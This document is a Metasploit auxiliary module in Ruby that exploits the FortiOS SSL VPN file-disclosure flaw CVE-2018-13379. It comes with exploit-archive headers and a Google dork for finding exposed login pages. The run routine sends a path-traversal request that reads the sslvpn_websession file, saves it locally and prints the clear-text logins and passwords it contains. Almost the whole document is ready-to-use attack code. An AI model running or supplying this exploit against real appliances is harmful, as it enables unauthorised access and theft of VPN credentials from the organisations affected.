This Metasploit module exploits FortiOS versions 5.6.3 through 5.6.7 and 6.0.0 through 6.0.4 to leverage a credential disclosure vulnerability by reading the /dev/cmdb/sslvpn_websession file.
956f30465640700e922f5cf3e4a9bdf6# Exploit Title: FortiOS Leak file - Reading login/passwords in clear text.
# Google Dork: intext:"Please Login" inurl:"/remote/login"
# Date: 17/08/2019
# Exploit Author: Carlos E. Vieira
# Vendor Homepage: https://www.fortinet.com/
# Software Link: https://www.fortinet.com/products/fortigate/fortios.html
# Version: This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
# Tested on: 5.6.6
# CVE : CVE-2018-13379
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'SSL VPN FortiOs - System file leak',
'Description' => %q{
FortiOS system file leak through SSL VPN via specially crafted HTTP resource requests.
This exploit read /dev/cmdb/sslvpn_websession file, this file contains login and passwords in (clear/text).
This vulnerability affect ( FortiOS 5.6.3 to 5.6.7 and FortiOS 6.0.0 to 6.0.4 ).
},
'References' =>
[
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379' ]
],
'Author' => [ 'lynx (Carlos Vieira)' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
))
end
def run()
print_good("Checking target...")
res = send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'})
if res && res.code == 200
print_good("Target is Vulnerable!")
data = res.body
current_host = datastore['RHOST']
filename = "msf_sslwebsession_"+current_host+".bin"
File.delete(filename) if File.exist?(filename)
file_local_write(filename, data)
print_good("Parsing binary file.......")
parse()
else
if(res && res.code == 404)
print_error("Target not Vulnerable")
else
print_error("Ow crap, try again...")
end
end
end
def parse()
current_host = datastore['RHOST']
fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
words = 0
while (line = fileObj.gets)
printable_data = line.gsub(/[^[:print:]]/, '.')
array_data = printable_data.scan(/.{1,60}/m)
for ar in array_data
if ar != "............................................................"
print_good(ar)
end
end
#print_good(printable_data)
end
fileObj.close
end
end